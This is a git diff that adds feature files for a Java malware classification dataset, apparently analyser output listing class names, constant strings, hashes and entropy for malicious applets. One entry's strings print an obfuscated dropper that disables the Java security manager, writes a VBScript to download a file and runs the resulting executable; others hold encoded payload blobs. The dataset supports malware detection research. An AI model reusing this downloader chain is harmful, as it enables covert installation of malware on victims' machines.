15{,l*\\'}zh\\x0b\\x16@yr\\x0c\\x05ix{\\r\\x05E,Zo\\x06KX\\x7fk4\\x1aKn\\x08\\x15~Zm\\x1b\\tFuQ\\x13\\x1dFuQ?1m[p9\\x11f[r\\x06\\x02j[\\x7f\\x1d`jL\\x086\\x1fe_r\\x18\\x05iKN:\\x06By~2\\nyZkmnZo\\x1f\\x17iX\\x7f\\x07;LZ\\x08\\x18\\x18yei\\x0f\\x05D|t2\\x16^Ll\\x17>jOl\\x18\\x1bIJ]\\x1b\\x16dS|\\x14\\x12yIRo\\x05y/h\\x08\\x16X^r=4rN|(3FLa\\x18bqN\\\\\\x1f\\x02rRn5\\x1akLa\\x12=JJ`l\\x07yv{\\x0f\\x12\\x11_\\x0bo#X[h\\x0b\\x16Pl`\\x06\\n@Q\\x0b2\\x16`Ll\\x14\\x05~GC-`\\x18Xx\\x1b\\x17bH[0\\x17PD]\\x194fduo\\x12}H|\\x0cdjH\\n\\x1c\\tMvh?\\x01iZ`l\\x06y|~\\x16\\x03\\x1a({\\x0f\\x06y-w\\x1c\\x02jOl\\x18\\x1e\\x1aK|o\\x03lH\\x7f\\x19iYLm:\\x1eyLo\\x1b#QLl:\\x17fix\\x16\\x11Y~x\\x1c&cHl\\x184jOc55jKL\\n#`\\\\k1\\x05n^u\\x1c\\x07}[t\\x10\\x15\\x19i`k*\\x7fKQ52o[L\\x1c1yOU\\x1f\\x12{G\\x08\\t>Cs[3\\x18nGn\\x0b\\x16fL\\to\\x1aZIl.\\x17}vw6\\x06\\x19Dng\\x03`KS\\x0c\\x07n^c\\n\\x1ayLol\\t~~\\r:", "ovghavubrrsrchae", "nwkctvkaefgrgwqnm", "hbolncapdcwaymjaa", "gplmrnekulukvjwrmsr", "init", "icqkqoflryyrxqw", "htuqrsphozlkbckc", "azxgmpqqiqhrmetrrek", ""], "minor_version": 0, "const_pool_count": 237}}, "_id": "27bcfadc-79a6-4d1f-9e7a-cb1746fb0994", "verbose": {"java": {"constant strings": ["mn", "mnewxek", "lyxmfrh", "jrktywwdhqifrz", "wyaxeieedseqqi", "sxwvvafy", "oxoc", "jwaxhiz", "wibswnxesr", "nlpgy", "b", "nbbsrst", "jkvwrknpzjdosyh", "yfaevwueesskwhr", "xgstyheqbdwwd", "mogvxnpmtyukxh", "aljmcrh", "dhrrjy", "ikykcdjtevbnsi", "igkeiylrpf", "wta", "sv", "xcdgtlsahyj", "nyntdwabfkkswe", "qfhvxix", "jgtwnkpsyghdl", "yqrvjkeofuvm", "lodlo", "tqhxlg", "dbdvsirfwc", "pwjy", "kjsfmfmcnu", "lacxcqrkl", "nbd", "wocyxzvjb", "tczywhaio", "v", "lwfhj", "ifkyyvcawuqwptk", "jt", "spljkgvunxisd", "zaunz", "gwyqtkkc", "yhmrwbtlrushzg"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "464631f11daac8b5f4a34f3ec867f4c7ac73b2f0", "file_name": "java_malicious/4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd", "_id": "27bcfadc-79a6-4d1f-9e7a-cb1746fb0994", "score": 0, "entropy": 5.806890543550842, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4346, "ssdeep": "48:7OLmwerrwfLryy+x5l8h8++7kvXYy4CQVPhRDrgugkEWHn9a2qC7vSSAdCnqVf0u:+JN5+Ygr7VZ9aWd1jpzKX", "sha256": "4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd", "md5": "bda6235307a0fb24e6b330b25fd17ba7", "parent_sha256": "4f7dacc76e88e9114195acada2b995ed354d5b0f451a9bc4b1c56918af58e3bd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828.results b/java_classification/data/malicious/4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828.results new file mode 100755 index 0000000..f3eb327 --- /dev/null +++ b/java_classification/data/malicious/4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/myrkrvkqzualyy", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "cgrstctjnfaooq", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "1b391e34-4949-45d3-aa0c-8fa6d32cc303", "metadata": {"mimetype": "application/x-java-applet", "sha1": "18bab3d9407903e987ab6de94cd9515dd436966b", "file_name": "java_malicious/4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828", "_id": "1b391e34-4949-45d3-aa0c-8fa6d32cc303", "score": 0, "entropy": 5.215216714487957, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6986, "ssdeep": "192:TVeJ2WVnZSu+Hpgxhi/To55UTYwa5hGX1:A2WRtAgyTofUTkc1", "sha256": "4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828", "md5": "01433209ab2aa67f1f19ee74d1442389", "parent_sha256": "4ff852fb93d14e7b3817577837de5ec44873af6058c03de0959fefa7a5a5a828"}} \ No newline at end of file diff --git a/java_classification/data/malicious/50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907.results b/java_classification/data/malicious/50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907.results new file mode 100755 index 0000000..197f29d --- /dev/null +++ b/java_classification/data/malicious/50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GonqabGonqabExp.java", "class_name": "GonqabGonqabExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "7648afe5-c75f-4f2f-b829-95fdf5ae01b6", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "pyYXdy4VDsgz3fwJS", "dota", "= function", "j", "return \"exploit!\";};", "s", "error.message = this;", "nts(0)", "cho UR", "var error = new Error(\"My error\");this.toString ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c e", "L = LCase(WScript.Argume", ")>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo gond=\"pyYXdy4VDsgz3fwJ\">>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\pyYXdy4V.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\pyYXdy4V.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a1d6f2a721a5021c0376908b95798c54baa79270", "file_name": "java_malicious/50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907", "_id": "7648afe5-c75f-4f2f-b829-95fdf5ae01b6", "score": 0, "entropy": 5.921352713595761, "libmagic": "compiled Java class data, version 45.3", "file_size": 3287, "ssdeep": "96:6zGlQe3NwukhG1pqDdQdNdv0X/PwumkcI:rlQe9wuk0rqpQd3v0vDN", "sha256": "50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907", "md5": "46beb694eb5f4458cfbd3cf546d29e18", "parent_sha256": "50c0a2c3346f9812d91fe2ee097521657b416687979b5feda58630cceaa5e907"}} \ No newline at end of file diff --git a/java_classification/data/malicious/50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d.results b/java_classification/data/malicious/50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d.results new file mode 100755 index 0000000..24c0f06 --- /dev/null +++ b/java_classification/data/malicious/50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "lfuKAtpCT.java", "class_name": "wDQnYjaDF/lfuKAtpCT", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "NcCfmLcQJ", "SDYQaS"], "minor_version": 0, "const_pool_count": 36}}, "_id": "850a2420-ee82-410a-9f1c-d898d6d14fe2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f03a6ca4314a75a575f4b35f8e11ce6daaa47628", "file_name": "java_malicious/50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d", "_id": "850a2420-ee82-410a-9f1c-d898d6d14fe2", "score": 0, "entropy": 5.357515185299058, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 583, "ssdeep": "12:7UHSDQullB4iMBMOte97PUq7M0P/DmRth4PwMpzloHg0GRa45l/siuWGRP:ayQulCe9rbJP/DmD2aiRa477uWGJ", "sha256": "50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d", "md5": "c4f74cb6fe2184b04d50839707b2c3f8", "parent_sha256": "50df4a525e568cb43e72c1c197467d14a96d67aec5877959d325a4754a0fbe6d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717.results b/java_classification/data/malicious/50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717.results new file mode 100755 index 0000000..5e211e2 --- /dev/null +++ b/java_classification/data/malicious/50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Gondqq.java", "class_name": "goaw20125076/Gondqq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "hex3Byte", "init"], "minor_version": 0, "const_pool_count": 177}}, "_id": "276e5d5f-cdb0-4499-a521-aeeb2701e806", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.400225665165384, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "11111111111111111111"}, "substring_brute_force": {"111": {"11111111111111111111": "11"}}}}, "constant strings": ["111", "Upriv.class", "sun.invoke.anon.AnonymousClassLoader", "loadClass", "WyjJAt2NBQxLz5WC", "bn", "xiaomaolv", "si", "bs", "os.name", "1", "11111111111111111111", "Windows"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c3329f1d23839942d787d7a7e5736f710d4c25e7", "file_name": "java_malicious/50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717", "_id": "276e5d5f-cdb0-4499-a521-aeeb2701e806", "score": 0, "entropy": 5.727953212662696, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3226, "ssdeep": "48:iwsy8kAl4xz2ZDY86RnrGiHKiS2Kd2Ty63LK/vBUG6q/oc4dti6ox4NSSc:ht8kAlbZEGeK+KcnKhoq/IjvoeNS1", "sha256": "50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717", "md5": "eda491721fb6dedd068de6ad38a5d136", "parent_sha256": "50f992266bf78937f6d15b5260c73d891bb3e5e6c836c56120fea32d78de4717"}} \ No newline at end of file diff --git a/java_classification/data/malicious/519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a.results b/java_classification/data/malicious/519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a.results new file mode 100755 index 0000000..e5209de --- /dev/null +++ b/java_classification/data/malicious/519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "556836af-66dd-435c-a0fb-a8d01c239e8c", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pN,pL,Pn,pn,pL,PN,pJ,0I,yI,ku,PW,pg,pS,op,dL,aT,p5,P5,P7,pn,k7,04,LL,Kr,PU,LL,mL,KP,h7,PK,0c,Md,LU,cQ,d6,cn,vz,KI,cl,KQ,xT,HL,KZ,W3,ZW,t2,yI,xN,o7,pG,pU,PI,rk,IC,XR,OR,N7,pU,Pp,hR,UP,rr,Lr,M6,4i,ot,VL,KM,8k,Xc,IU,Pw,p7,pL,Kk,gR,go,pw,OG,pP,uH,zp,GP,Ws,wK,05,oG,pP,uK,JN,kx,o1,OT,sK,yo,qX,ls,4U,QC,05,Pl,Ky,Lr,q1,BV,3Q,xE,TE,QG,pU,PK,O2,vF,la,JP,Ys,aV,2n,ke,RR,sp,Co,p5,kW,p3,E9,jk,1S,Kk,LF,Na,up,xQ,uR,U3,3N,c8,kV,hk,9G,sY,WQ,ST,Dv,N1,ud,8s,UO,6p,CE,Xw,pQ,KL,JJ,aU,Tv,Po,x1,UE,P4,sy,PR,pr,ps,c6,7f,0K,O2,vT,Pl,CY,hU,Ps,EU,VQ,zu,Qv,3k,Os,fu,TR,z0,YM,So,2F,dG,1O,pu,j7,pr,Uo,DI,os,fW,xB,qf,6N,kq,ee,lL,KP,tV,U2,XE,Sl,5R,vl,K2,VG,P5,SJ,Uu,c9,YB,is,qn,Mc,3K,u5,cY,K6,oM,nF,pt,xJ,Rp,tT,Hz,aJ,kD,M3,3K,jS,pJ,KY,a5,kW,oD,5x,gQ,Nl,KQ,NU,tG,sk,mc,VL,KV,lr,kN,kQ,N5,L6,cI,ML,Kt,DN,kG,si,UL,k1,NC,iO,3X,hC,0Y,ok,Ok,ON,np,ND,Nj,LM,Hk,NN,j6,nS,NI,Hy,rp,s4,sK,zN,jQ,Ku,fw,jv,OP,pS,sP,oS,v0,Vg,pU,8r,TD,4D,0W,J6,O4,oR,Kr,LR,E0,va,uR,Rv,Nc,YS,Wb,N2,OP,rB,Ep,lR,IQ,cR,Tf,Nq,sp,or,M6,OC,Yp,np,fr,OD,ot,5b,Sf,Qt,nP,hb,T2,MR,LT,oR,Nf,Pv,P3,Qv,Qp,0p,6U,bv,P0,1e,cv,Q0,8P,rF,PU,dt,p0,9b,j0,0s,UD,pT,p4,pP,6p,0P,1C,bR,Df,T6,X0,04,ua,re,ev,XP,W5,5p,cp,50,67,Iu,6W,Bp,7R,xv,YV,V0,2d,wQ,rC,ST,vV,PB,y5,4U,45,6P,83,QP,d6,Te,50,ZT,pU,at,pV,Pb,FT,pv,Xf,PS,07,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e627efe36a1ca7f256fdd521a78fa03f17d0f56f", "file_name": "java_malicious/519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a", "_id": "556836af-66dd-435c-a0fb-a8d01c239e8c", "score": 0, "entropy": 5.986302122978308, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3111, "ssdeep": "48:4vVk0yFlBNBMpzlkVJtgYE6C+WKvHVx+a5GUFwIsFlXRkHccQjtZtgobKqgs5qxn:hFFlrKMVJW36cK22RxC92XQjt9bKsCn", "sha256": "519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a", "md5": "1566ea2e292483bcfa08a271cd8241e6", "parent_sha256": "519c078207e2b4daea60651568e2624cce2a888c5afcba2ae411a2fcce36ed5a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56.results b/java_classification/data/malicious/51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56.results new file mode 100755 index 0000000..f0f0524 --- /dev/null +++ b/java_classification/data/malicious/51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Globals", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "main", "myftysbrtha", "myftysbrthf", "myftysbrtha", "myftysbrthb", "myftysbrtha", "myftysbrthe", "myftysbrthd", "myftysbrtha", "myftysbrthc", ""], "minor_version": 0, "const_pool_count": 276}}, "_id": "2e5176e2-eb3b-45e4-876a-e4c62f249e9b", "verbose": {"java": {"constant strings": ["", "1", "3r5yh", "59_", "64", "65w4g4", "76kmn", "8oaaha", "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", "FroSHu9h", "IS", "O_88", "a", "exteeec", "j2qj1szt", "l", "ld.", "nur", "os.arch", "res"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "879dbfc44558e782bf0ec1c422d6d082617094c6", "file_name": "java_malicious/51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56", "_id": "2e5176e2-eb3b-45e4-876a-e4c62f249e9b", "score": 0, "entropy": 6.520776252226923, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7511, "ssdeep": "192:CVJlAjJSIvPywOLybNuYKagVMnMF8yv8WD:wPCSOywOLquYKcnMF8yv8O", "sha256": "51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56", "md5": "5de13708e9af561eeb14bf976828d285", "parent_sha256": "51d48a528e74e47fef4733954f7385b474a13a020d84929985a233bd894e1f56"}} \ No newline at end of file diff --git a/java_classification/data/malicious/524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712.results b/java_classification/data/malicious/524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712.results new file mode 100755 index 0000000..a92786a --- /dev/null +++ b/java_classification/data/malicious/524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "VaaiVzcha", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "DsuvhiNdyzhCabrr", "main", "DfblDlsvdg", "FutqlwEsflNbsile", "PprnlmXjllbjl", "RzisrreIekwrkn", "EibnMoexnwbRwnz", "OomzPhhrwzQsncppg", "RgktXezbCzrwbq", "OytdatXukwckvEhtkd", "ZygtmFvofzJqtuk", ""], "minor_version": 0, "const_pool_count": 315}}, "_id": "391d01ac-e7fb-43bc-88a8-73cd3cfe07ed", "verbose": {"java": {"constant strings": ["", "p2PKveb0", "BKkrFZL", "l1MDi1le", "f1h/0nG1rd1/wHg2IU00vy0uNY1bmS0msOP2ZFG3jr&T1inG0eRKc1w8xH0ma0LCaG3h,st1Jn0UJg,1PV1skP0CX1^kh08(Vj2bTSC2Fm42i_y2QUr0Qei3.mTc0OI1+uHH0mz1SS3@#hm1@/jX0YH3uK3N1YQoD1H5nf1#Rck16L2yPDW1ijsE0v\\\\*A1E3x0UT2FWy0ItK2LPm26(Z2=4uY3dIRl1cUoH1O+RT3iaUQ2+FO18XF1inNw14bQI1SaRE1bCM1oOuZ0Lek0wpc1vi0w-.F0p-17Du0B(1dz0Wcq3zbq108nuy1%vj2h\\\\9h1oLx1,j@G1^V0AZ2iVwR0Qu2OXSt1LH\\\\2^IJ21^C1hWFO20RX=0u,%0Q\\\\V1m+g1JRV1.DNf11G@1ifa-1T4W18m1XX-0ejR_2x!W@0aD/0Ltn25i4%1F2RF28^j184N1,f/1ZtZ_1rzB^0QR+Q0jiFs0bZ1adm3d.Q41st0Egx1.9p2.skz1fva2*WyH19c2P7jL1-9Q(1%LC0h_s0XU2BdL1lM2kZP1WNr1hCt1O3\\\\-1-o-1QzS1zG/1xP\\\\2kTxP0msjW2n3hT2F@PB02UyH3yFaV2WH82OtVK2FGEc2NbDe2q&kt1wh/g1IoW1SJG1SYGx1J01Xgs1BNj(2%XN!05ETU2q(c287iE1OY2mTit1OWh3PS&v1+O2kJf0H\\\\16t1HOs05IWe2xSZ2h(L16LJd1rph208Ei1vt.2G043jjEN1maya1pXwK0gs3o2XP22+n+1+VHy1-kQ179A2pSF2mjAm1kgn%2w)D!2\\\\SY2BELC1Cn3sFmq0C+@3Sg#s0ZU*t2oC0Q1Wt.Y1Oo2Ul3@2ryWT17W)=1vdEI0FZ0Jt00.B2u69d1=k+b01eEn1XL2hHXi1zDeL04M)1,v#J2D8J2i_MW1x3%i0tA&D1Rq&2%Ew0J*U0RXG0Nk2bGUD0yHE2ITMP139271GU1g6Ul1ySB1dL1pHI0LxL2eClC1=qTt0O*2fAi1CrYH1TJ=B1*ss0uCRz1rM2z&01Ks-0w,0dEq1r01FCCd1l/lg2BiIP1*J*1CRW1%nt37gVQ2XOw1ziVi1pv_G0N&0YhE1Y9b1edx2kDT2=8AT0YzA2IP/x1FpdV2wNJS28cbN1LEF0FZ1JcZ2l-/g1rX2ZdV.1*UC1S5F1M4x2GIq2^g420bJl10P2.TiO1.2u2N2TE2v8qk0tQs1qEwT3M&kl3!tU41_1d1m5VG0Jr1/n/F2)0L1CRP03N2jXn*0XS-O1XG(2umS2HJC1wNGA1CvB\\\\2Wmy1(iq0pr1VV0E!yd3\\\\,kd3XN\\\\/1om29osf1!GE1T5CU0GBfs1kYWT1kKL2!&DG1rgb1kx0UxL26%TN2pEf3bmVK22OL0Y*bl0k@x_0hD(0Xm1Jl_1#hA1oI+(1/4l1-ZP0VIY1QqHM2_1VZ1EQeb0CW)t1QZ(J0aV1!df1sNns0vkc2lS3&1LD1qiGE1Es1txx0pH0jvx1U8C3nFoS1!iYI0SMp1HIP3i.3s2wSz0biF1uy2t,ZY3reLT0la1P10pC\\\\R1mrj1udzL0m(1QNwG1Sm+L1kV^04(0iW*3H2h+1wXK+1Kt0H_L2aUY\\\\1S5A,1VBW1hY1VcY0dTj2vKo1)RIH0h+0z+D2ZMyy1BX.2IV7s1E0P0i\\\\_13xq0e/1+fUb1,ukD2g2Qs0ktI3m)!m3uw1j2,@s1F312a1#7Rq2@Kcm3bW!W0Kl2iP3g1/5b,0D*F2afgJ1Va3NMMw1i5Z@185@F2l-/&0a+^07P1Xbo1)31vm28icF2\\\\\\\\lS1ENW1T3O*2NAa2a1Zj1Jhh\\\\0KF)X3vjGj2kauB1peG1=tH3x@5d15c&0hw1iwBc2P9yB0KOz2Vtuu0FU1C+/N1Rxmh0rj2P+c1B8L14v\\\\B2M+g3D85U0wAfa1eLA0CODd1uy3p..J01A&10td+0Y=2hQA0Rf=2cFW24d9g1nCSP1PXNJ0/a0wBgG0bl\\\\m0zrp18F@1UH2uYs2i&iH38/U203Mr-2TdiT2UZFR1/8(0Qg2QFKd1WcRI0N!G0lYl2l6GP2=uI1*Vz,1BI!,0SO0Dr2+dSv1uj1=ome1^Oq2sRvc2dzkB2UQx%1O3T1\\\\/0iu3X2jl32lBw1Ak2BVsl1bV)2M0t1GRFv39(Ua2MdMn1t2M00fu3B(jM2aas+1wYR0IAh2z010oU1hPU1ObxI1@0*i0n-db0NAL0rx%15Pwl1/t0JC2840B2Dw1X1nA0zt1dOG1Cfs@1xqXA1cAr0Uge1_C1WtDH2zZod2jSk1BL=F0SMb0S#2R_w1\\\\517ts275g0obe1km!P1fh_2@YX0RFuD2S3TC2A#I2GNl1yk0gIg1FTfw1wKfa2)1W1yE(%1